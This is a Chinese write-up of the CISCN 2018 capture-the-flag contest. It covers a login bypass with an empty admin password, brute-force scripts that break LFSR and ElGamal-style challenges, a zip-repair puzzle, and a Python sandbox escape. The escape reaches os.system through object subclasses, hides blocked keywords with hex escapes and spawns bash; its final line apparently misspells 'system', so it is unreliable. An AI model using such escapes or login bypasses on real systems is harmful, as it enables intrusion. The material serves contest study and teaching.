ciscn 2018 第十一届全国大学生信息安全竞赛writeup

前言

渣渣队伍,拿了个华中第五。pwn、re和apk一道没做出来……


ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第1张图片

Web

easyweb

题目链接:
http://114.116.26.217/
登进去是一个登录界面

ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第2张图片

垃圾题目,一开始环境都出错,注册不了,对着题目撸了半个小时无果。后来发了个公告修复了。
说出来你可能不信,这道题我是这样做出来的——注册一个普通用户,登录后提示没有管理员权限,看来肯定是要用admin的身份登录了啊。于是我用admin+admin登录,没想到成功了……(过了一会儿使用admin+admin就登不了,提示密码错误),然后匆匆的截了个图:


ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第3张图片

看到没,直接出flag,然而用这个提交死活不对。我想难道是思路不对,看cookie使用的是jwt,然后对着jwt日了一上午,想伪造成admin身份登录,都没成功。。放弃了,把另一个crypto先做了出来。
睡了一觉后,我想,是不是flag提交的格式不对啊,于是我把flag{xxxxx}这种形式换成了ciscn{xxxxx},神奇的事发生了,竟然成功了23333333
令人窒息的操作


下面是从其他人学到的正经的解法:
直接登录,密码为空:


ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第4张图片

然后就登录成功了也是没谁了:


ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第5张图片

至此,web题目就与我无缘了,剩下两道神仙去做吧。


Crypto

flag in your hand

这是一道js解密的题目:


ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第6张图片

发现checkToken函数数里返回的s==="FAKE-TOKEN",使用这个字符串却得到wrong,而且ic后面被更改了,当时很奇怪


ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第7张图片

后面跟着bm函数一路跟到这里:
ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第8张图片

在ck函数里,ic的值又被更改了,所以要想ic最终为true,只需要满足判断条件即可。可以写个python代码解出来:

a = [118, 104, 102, 120, 117, 108, 119, 124, 48, 123, 101, 121]
res = ""
for i in a:
    res += chr(i - 3)
print(res)

结果:

res = security-xbv

于是得到flag:


ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第9张图片

oldstreamgame

下载下来有两个文件,一个是key,一个是py文件,key里面的内容转成16进制如下:

20FDEEF8A4C9F4083F331DA8238AE5ED083DF0CB0E7A83355696345DF44D7C186C1F459BCE135F1DB6C76775D5DCBAB7A783E48A203C19CA25C22F60AE62B37DE8E40578E3A7787EB429730D95C9E1944288EB3E2E747D8216A4785507A137B413CD690C

正好有100个。
py文件代码:

flag = "flag{xxxxxxxxxxxxxxxx}"
assert flag.startswith("flag{")
assert flag.endswith("}")
assert len(flag)==14

def lfsr(R,mask):
    output = (R << 1) & 0xffffffff
    i=(R&mask)&0xffffffff
    lastbit=0
    while i!=0:
        lastbit^=(i&1)
        i=i>>1
    output^=lastbit
    return (output,lastbit)

R=int(flag[5:-1],16)
mask = 0b10100100000010000000100010010100

f=open("key","w")
for i in range(100):
    tmp=0
    for j in range(8):
        (R,out)=lfsr(R,mask)
        tmp=(tmp << 1)^out
    f.write(chr(tmp))
f.close()

一开始对着lfsr看,盯了一会累个半死也没看出什么门道,后来研究了一下。发现flag长度必须为14,除去flag{}这6个字符,那么只剩下了8个,完全可以暴破啊!

对于某次暴破,如何判断它成功了呢?
我们可以看代码的最后八行,对flag,它做了一百次循环,每次循环都产生一个结果,并将这个结果写到key里面去,所以key里面总共有一百个16进制数字。

每一次暴破,在循环的时候,都要将产生的结果与key里面对应的值进行比较,如果不相等,直接pass掉,肯定是错误的。最终100个16进制完全匹配的才是正确的结果。

暴破代码如下:

import multiprocessing
import os

flag = "flag{xxxxxxxx}"
assert flag.startswith("flag{")
assert flag.endswith("}")
assert len(flag)==14

def lfsr(R,mask):
    output = (R << 1) & 0xffffffff
    i=(R&mask)&0xffffffff
    lastbit=0
    while i!=0:
        lastbit^=(i&1)
        i=i>>1
    output^=lastbit
    return (output,lastbit)



mask = 0b10100100000010000000100010010100

string="20FDEEF8A4C9F4083F331DA8238AE5ED083DF0CB0E7A83355696345DF44D7C186C1F459BCE135F1DB6C76775D5DCBAB7A783E48A203C19CA25C22F60AE62B37DE8E40578E3A7787EB429730D95C9E1944288EB3E2E747D8216A4785507A137B413CD690C"
res=[]
for i in range(0,200,2):
    res.append(int(string[i:i+2],16))


def cal(i,tag):
    ii=i
    while True:
        ii+=1
        R = ii
        found = True

        for x in range(100):
            tmp = 0
            for j in range(8):
                (R, out) = lfsr(R, mask)
                tmp = (tmp << 1) ^ out
            if tmp!=res[x]:
                found=False
                break
        if found:
            os.system("echo %d >> /tmp/result" % ii)





        if ii % 2 ** 20 == 0:
            print('[Process%d]: now %d' % (tag, ii))
            if ii > 2 ** 28 * (tag + 1):
                print('[Process%d]: not found.' % tag)
                break

if __name__=="__main__":
    ps=list()
    for i in range(0,16):
        pp = multiprocessing.Process(target=cal, args=((int(i * 2**28),i)))
        pp.start()
        ps.append(pp)




在mac上跑16个线程差点冒烟了,换到实验室7w多的工作站上,跑了不到一个小时跑出来了:
跑出来是i的值是2455896535
将其转为16进制值:

res=2455896535
print(hex(res))

将结果用flag{}包起来,提交就可以了。


下面都是队里其他人做出来的:

crackme-c

ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第10张图片

Flag字符串长度为16,对字符串进行9轮下列处理:变换字符顺序->四个字符一组,经过处理生成一个新的4个字符组。 之后再变换一次字符顺序。 最后得到的16个8位数字,每个字符对应一个十六进制数在该数据组中的位置。 将上述过程逆序即可求出原始flag.

crackme-java

题目如下:

import java.math.BigInteger;
import java.util.Random;

public class Test1 {
    static BigInteger two =new BigInteger("2");
    static BigInteger p = new BigInteger("11360738295177002998495384057893129964980131806509572927886675899422214174408333932150813939357279703161556767193621832795605708456628733877084015367497711");
    static BigInteger h= new BigInteger("7854998893567208831270627233155763658947405610938106998083991389307363085837028364154809577816577515021560985491707606165788274218742692875308216243966916");

    /*
     Alice write the below algorithm for encryption.
     The public key {p, h} is broadcasted to everyone.
    @param val: The plaintext to encrypt.
        We suppose val only contains lowercase letter {a-z} and numeric charactors, and is at most 256 charactors in length.
    */
    public static String pkEnc(String val){
        BigInteger[] ret = new BigInteger[2];
        BigInteger bVal=new BigInteger(val.toLowerCase(),36);
        BigInteger r =new BigInteger(new Random().nextInt()+"");
        ret[0]=two.modPow(r,p);
        ret[1]=h.modPow(r,p).multiply(bVal);
        return ret[0].toString(36)+"=="+ret[1].toString(36);
    }

    /* Alice write the below algorithm for decryption. x is her private key, which she will never let you know.
    public static String skDec(String val,BigInteger x){
        if(!val.contains("==")){
            return null;
        }
        else {
            BigInteger val0=new BigInteger(val.split("==")[0],36);
            BigInteger val1=new BigInteger(val.split("==")[1],36);
            BigInteger s=val0.modPow(x,p).modInverse(p);
            return val1.multiply(s).mod(p).toString(36);
        }
    }
   */

    public static void main(String[] args) throws Exception {
        System.out.println("You intercepted the following message, which is sent from Bob to Alice:");
        System.out.println("a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco==2q17m8ajs7509yl9iy39g4znf08bw3b33vibipaa1xt5b8lcmgmk6i5w4830yd3fdqfbqaf82386z5odwssyo3t93y91xqd5jb0zbgvkb00fcmo53sa8eblgw6vahl80ykxeylpr4bpv32p7flvhdtwl4cxqzc");
        System.out.println("Please figure out the plaintext!");
    }
}

//a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco==2q17m8ajs7509yl9iy39g4znf08bw3b33vibipaa1xt5b8lcmgmk6i5w4830yd3fdqfbqaf82386z5odwssyo3t93y91xqd5jb0zbgvkb00fcmo53sa8eblgw6vahl80ykxeylpr4bpv32p7flvhdtwl4cxqzc

分析代码可知,该算法弱点在r上,使用爆破程序运算出r的值,而后带入进行普通的加减乘除即可得到flag。
python解法:

import multiprocessing
from time import sleep
import os
i = 0
p = int("11360738295177002998495384057893129964980131806509572927886675899422214174408333932150813939357279703161556767193621832795605708456628733877084015367497711")
c1 = int('a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco', 36)
def cal(i, p, c1, tag):
    ii = i
    print ("[Process%d]: start from %d" % (tag, ii))
    r = 2 ** i
    while True:
         r = (r * 2) % p
         ii += 1
         if r == c1:
            print ii
            os.system("echo %d >> /tmp/result" % ii)
         if ii % 2**20 == 0:
            print('[Process%d]: now %d' % (tag, ii))
            if ii > 2 ** 28 * (tag+1):
                print('[Process%d]: not found.' % tag)
                break
            # sleep(0.1)
    print('[Process%d]: exited!' % tag)

ps = list()
for i in range(0,16):
 pp = multiprocessing.Process(target=cal, args=((int(i * 2**28), int(p), int(c1), i)))
 pp.start()
 ps.append(pp)
h = int("7854998893567208831270627233155763658947405610938106998083991389307363085837028364154809577816577515021560985491707606165788274218742692875308216243966916")
p = int("11360738295177002998495384057893129964980131806509572927886675899422214174408333932150813939357279703161556767193621832795605708456628733877084015367497711")
def base36encode(number, alphabet='0123456789abcdefghijklmnopqrstuvwxyz'):
    """Converts an integer to a base36 string."""
    if not isinstance(number, (int, long)):
        raise TypeError('number must be an integer')

    base36 = ''
    sign = ''

    if number < 0:
        sign = '-'
        number = -number

    if 0 <= number < len(alphabet):
        return sign + alphabet[number]

    while number != 0:
        number, i = divmod(number, len(alphabet))
        base36 = alphabet[i] + base36

    return sign + base36

c1 = int('a9hgrei38ez78hl2kkd6nvookaodyidgti7d9mbvctx3jjniezhlxs1b1xz9m0dzcexwiyhi4nhvazhhj8dwb91e7lbbxa4ieco', 36)
c2 = int('2q17m8ajs7509yl9iy39g4znf08bw3b33vibipaa1xt5b8lcmgmk6i5w4830yd3fdqfbqaf82386z5odwssyo3t93y91xqd5jb0zbgvkb00fcmo53sa8eblgw6vahl80ykxeylpr4bpv32p7flvhdtwl4cxqzc', 36)

r = int('152351913')

if c1 == pow(2, r, p):
    print('check pass!')
print(base36encode(c2/pow(h,r,p)))

sm

题目代码:

from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
from Crypto.Cipher import AES
import hashlib
from random import randint
def gen512num():
    order=[]
    while len(order)!=512:
        tmp=randint(1,512)
        if tmp not in order:
            order.append(tmp)
    ps=[]
    for i in range(512):
        p=getPrime(512-order[i]+10)
        pre=bin(p)[2:][0:(512-order[i])]+"1"
        ps.append(int(pre+"0"*(512-len(pre)),2))
    return ps

def run():
    choose=getPrime(512)
    ps=gen512num()
    print "gen over"
    bchoose=bin(choose)[2:]
    r=0
    bchoose = "0"*(512-len(bchoose))+bchoose
    for i in range(512):
        if bchoose[i]=='1':
            r=r^ps[i]
    flag=open("flag","r").read()

    key=long_to_bytes(int(hashlib.md5(long_to_bytes(choose)).hexdigest(),16))
    aes_obj = AES.new(key, AES.MODE_ECB)
    ef=aes_obj.encrypt(flag).encode("base64")

    open("r", "w").write(str(r))
    open("ef","w").write(ef)
    gg=""
    for p in ps:
        gg+=str(p)+"\n"
    open("ps","w").write(gg)

run()

分析代码可知order均不等得到,因此读取ps最后一个1出现位置均不同,通过与r异或是否为0判断某一位是否为1,由此可以组成bchoose,进而运算出得到choose,解密即可

部分代码如下:

path=r"C:\Users\Silver\Desktop\sm\\"
r=open(path+"r","r").read()
ef=open(path+"ef","r").read()
# ef=ef.decode("base64") 
ps=open(path+"ps").readlines()
    #aes_obj.encry(flag)
import os
import base64
print(ef)
ef=base64.b64decode(ef)
print(ef)
5eFo3ANg2fu9LRrFktWCJmVvx6RgBFzd0R8GXQ8JD78=

b'\xe5\xe1h\xdc\x03`\xd9\xfb\xbd-\x1a\xc5\x92\xd5\x82&eo\xc7\xa4`\x04\\\xdd\xd1\x1f\x06]\x0f\t\x0f\xbf'





['ef', 'ps', 'r', 'sm.py']
for k in ps:
    if(bin(int(k,10))[-3]=='1'):
        print(bin(int(k,10)))
print(bin(int(r,10)))
0b11001100000101001010010100000101001010001011011100011001011011011010001011010001100110101100000101111111101101111110111110010001110100100100101011011101101100001111011001101011111001100100110000011001100000010011111100100101011010111000100100111101011110000100010011000111110101001001110101011100110001101000011010000010011111011001101010111001111010011101110100100100111000100000011111111101101010110011100110110010001011001111010010011001010100110001001111010100000111010110010101111110101111001001000101100100
0b10111101011111001000011010001000001010101111110001001111110100000111011010001111101010100101110001100110101110100001010001001010100101100001110100000111010011011010101010111010100111001100100010010101111000101010111101011011111000011001100100011001000001111010101111001110110111111101011010100001001110100010111111000111110111001110000100010011001101110100110011001000011001110011100000000100110100110110011100011011001000011001100100000110110110110110010111001100011111001100001001000100001010111011010010111111
0b11010111111011101110011101000000000011000101110011101111101011011100000111100100000010110010001010101000001111101000010101011111111101110011000000001001011101100011011110011110001000100110011101000110011001111000011101011101001100000001001110000011011010100100010101000010111001010111010111100011010011000101000001000110110001000110010111010001100011010111100111110000010000011001010111011011011100011000111010010100101110000010000001100111111000111011001010010010110001100110001101001010101101010110011100110110
0b10000000111100111101000011010111000111111000011010110000000001011001101011000001000101110001010010010110000001010100101010101110011011100011000101010001001111001101101010101010110110010010100000011100110111101010110011101100011111010000110111000101001110101001000011001000001100100100110101110000100000001100110111110111110101101011011001011010000000001010000110111000000100110000000001010010101100000111110100100110111100000110111011010000111010010111011101011000001000111011111101111111000110110101101010100010
psre=[]
for k in ps:
    t=bin(int(k,10))
    psre.append(t)

# bchoose[0]=1
l=[]
for i in psre:
    if i.rfind('1') not in l:
        l.append(i.rfind('1'))
    else:
        print('error')
        print(i.rfind('1'))

bchoose=[0 for _ in range(512)]  
print(bchoose)

r2=int(r,10)
for i in range(512):
    rre=bin(r2)
    rre='0'*(512-len(rre))+rre
#     print(r)
    ii = rre[-i-1]
    if(ii=='1' or ii==1):
        sub='1'+'0'*i
        for z in range(512):
            if psre[z][-i-1:]==sub:
                bchoose[z]=1
                r2=r2^int(ps[z],10)
                break
print(bchoose)
i=0
for k in range(512):
    if bchoose[k] ==1:
        i=i^int(ps[k],10)
print(i==int(r,10))
print(bin(i))
print(bin(int(r,10)))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1]
True
0b10000000111100111101000011010111000111111000011010110000000001011001101011000001000101110001010010010110000001010100101010101110011011100011000101010001001111001101101010101010110110010010100000011100110111101010110011101100011111010000110111000101001110101001000011001000001100100100110101110000100000001100110111110111110101101011011001011010000000001010000110111000000100110000000001010010101100000111110100100110111100000110111011010000111010010111011101011000001000111011111101111111000110110101101010100010
0b10000000111100111101000011010111000111111000011010110000000001011001101011000001000101110001010010010110000001010100101010101110011011100011000101010001001111001101101010101010110110010010100000011100110111101010110011101100011111010000110111000101001110101001000011001000001100100100110101110000100000001100110111110111110101101011011001011010000000001010000110111000000100110000000001010010101100000111110100100110111100000110111011010000111010010111011101011000001000111011111101111111000110110101101010100010
print(bchoose)
choose=0
for i in range(512):
    choose=choose*2+bchoose[i]
print(choose)
[1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1]
11400599473028310480620591074112690318799501642425666449519888152497765475409346201248744734864375690112798434541063767944755958258558428437088372812844657
from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
from Crypto.Cipher import AES
import hashlib
from random import randint
key=long_to_bytes(int(hashlib.md5(long_to_bytes(choose)).hexdigest(),16))
aes_obj = AES.new(key, AES.MODE_ECB)
aes_obj.decrypt(ef)
b'flag{shemir_alotof_in_wctf_fun!}'

MISC

Picture

使用Binwalk对图片进行分析


ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第11张图片

打开第一个文件,显然是base64编码,将内容转换成红线下内容:


ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第12张图片
image.png

观察可知是修改了zip文件头的文件,修复后即可用winrar打开,打开后发现该数据包为加密数据包,密码在注释中有提示。 本地python复现错误提示后获取密码,打开文件。 发现是uuencode编码,解密即可。


ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第13张图片
image.png

ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第14张图片

ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第15张图片
image.png

验证码签到

登录进去就是flag

run

使用nc登陆系统

沙箱逃逸惯用套路。

g = [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "catch_warnings"][0] .__repr__.im_func

提示cat被禁止,于是使用十六进制转义(或字符串拼接)

g = [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "\x63\x61\x74ch_warnings"][0] .__repr__.im_func

而后得到了repr()函数,进而通过一系列操作摸到os中的system函数,最终的poc如下.

g = [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "\x63\x61\x74ch_warnings"][0] .__repr__.im_func.__getattribute__('func_global\x73')['linecache'].__getattribute__('o\x73').__getattribute__('\x73y\x73ytem')

g('bash')

得到shell,ls文件,cat出flag提交.


ciscn 2018 第十一届全国大学生信息安全竞赛writeup_第16张图片

你可能感兴趣的:(ciscn 2018 第十一届全国大学生信息安全竞赛writeup)